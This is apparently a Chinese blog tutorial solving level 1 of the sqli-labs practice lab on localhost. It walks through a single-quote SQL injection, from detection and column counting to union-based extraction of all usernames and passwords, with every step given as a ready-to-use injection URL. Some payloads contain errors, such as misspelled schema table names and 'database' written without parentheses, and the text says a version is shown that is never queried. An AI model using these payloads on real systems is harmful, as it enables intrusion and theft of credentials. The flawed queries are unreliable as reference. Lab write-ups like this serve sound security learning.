sqli-labs-master 闯关第一关,单引号 ' 字符型注入

sqli-labs-master第一关

注:%23为#的url编码

第一关比较简单,在最上面的url后面手动输入http://localhost/sql/sqli-labs-master/Less-1/?id=1可以直接看到用户名密码,同样http://localhost/sql/sqli-labs-master/Less-1/?id=2可以看到另一个用户名密码,以此类推。但是呢,我们要用手动注入查询数据库,一步一步的来获取

第一步

先测试出有注入点  在url中  输入http://localhost/sql/sqli-labs-master/Less-1/?id=1'  

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第1张图片

 

我们可以看到页面中出现sql语句报错,接下来用  http://localhost/sql/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23  看到回显正常

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第2张图片

 

用  http://localhost/sql/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23   没回显,也就是回显失败,证明有注入点

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第3张图片

 

接下来就是猜测字段(表有几列)

输入  http://localhost/sql/sqli-labs-master/Less-1/?id=1'  order by 1 %23   看到回显正常

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第4张图片

 

提高两个   http://localhost/sql/sqli-labs-master/Less-1/?id=1'  order by 3 %23  回显正常

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第5张图片

 

再加一个   http://localhost/sql/sqli-labs-master/Less-1/?id=1'  order by 4 %23   回显失败,所以有三个字段

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第6张图片

 

用union查询语句查询报错回显位置   http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,3 %23

显示报错回显在第二、第三字段

注:and 1 = 2 是让前面为假,也可以不用and 1 = 2 ,用  ?id = -1'  http://localhost/sql/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23   效果是一样的

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第7张图片

 

查询数据库版本号、名称    http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,database,3 %23

查看到当前数据库版本号和名称

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第8张图片

 

查看数据库中的表的名称信息    http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tabels where table_schema = 'security'; %23

可以看到数据库中所有表的名称

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第9张图片

 

查看表users中的信息   http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.tabelscolumns where table_name = 'users'; %23

注:group_concat函数是将查询会显得结果用逗号隔开显示

看到users表中的列的名称,看到有 username   和  password 两列

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第10张图片

 

查看并列出  username  和  password   两列中的所有信息

http://localhost/sql/sqli-labs-master/Less-1/?id=1' and 1 = 2 union select 1,group_concat(username),group_concat(password) from users %23

现在自己想要的用户名和密码都已经列出,大功告成,Your Login和Your Password 逐一对应即可

 

sqli-labs-master 闯关第一关,单引号 ' 字符型注入_第11张图片

 

本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助

 

你可能感兴趣的:(sqli-labs-master 闯关第一关,单引号 ' 字符型注入)